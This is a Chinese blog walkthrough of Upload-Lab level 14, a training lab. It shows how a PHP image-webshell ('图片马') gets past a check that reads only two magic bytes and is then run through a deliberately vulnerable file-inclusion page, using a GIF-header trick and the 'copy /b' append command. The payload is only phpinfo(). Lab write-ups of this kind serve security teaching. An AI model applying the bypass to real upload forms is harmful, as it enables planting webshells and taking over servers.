
Upload-Lab第14关:如何巧妙绕过图片马文件校验?
简介
在网络安全领域,文件上传漏洞是黑客常用的攻击方式之一。Upload-Lab
是一个专门设计用于模拟和研究文件上传漏洞的平台,其中第14关图片马
挑战,旨在帮助用户了解如何在图片文件中隐藏恶意代码,并绕过文件上传的安全检查。
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
通过查看源码发现,这一关会读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件。
了解图片马
图片马(WebShell隐写于图片中)的实现原理是将恶意代码隐藏在图片文件中,使其在表面上看起来像是一张普通图片,但在特定条件下,这些代码会被执行,从而提供攻击者对系统的控制。具体实现通常通过两种主要方式:修改图片文件头部信息和添加恶意代码到图片文件末尾。
补充知识:
Png
图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A
。即为.PNG
。Jpg
图片文件包括2字节:FF D8
。Gif
图片文件包括6字节:47 49 46 38 39|37 61
。即为GIF89(7)a
。Bmp
图片文件包括2字节:42 4D
。即为BM
。
解法步骤
解法一:
- 准备一个phpinfo.gif的webshell文件,内容如下:
<?php phpinfo(); ?>
- 上传
phpinfo.gif
,BP抓包修改数据。
- 文件上传成功后右击拷贝图片路径,然后,构造访问连接如下所示:
http://localhost/include.php?file=upload/2220240805170512.gif
访问上述连接,返回如下图所示:
解法二:
- 准备图片马文件
首先,准备一张JPEG
图片,并把图片命名为1.jpg
,接着,写一句话木马,并命名为phpinfo.php
,内容如下:
<?php phpinfo(); ?>
windows
环境下按住win+R
组合键,输入cmd
,打开cmd
终端,切换到原始图片的目录路径下,输入下面命令生产图片马:
copy 1.jpg/b + phpinfo.php pass14.jpg
/b
表示二进制模式复制
- 查看包含文件
然后这关要使用文件包含才能解析木马的执行,文件包含页面链接就在那里,如下图所示:
点击该连接,会查看到源码如下所示:
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
- 上传图片马
打开浏览器,进入Upload-Lab
第14关的上传页面,选择 pass14.png
文件进行上传,如下图所示:
- 访问并执行恶意代码
因为上传图片马之后会被重命名图片所以复制图片链接就可以了构造的URL为http://localhost/include.php?file=upload/图片的名称.jpg
。成功执行图片马如下图所示:
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 攻城狮小林
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果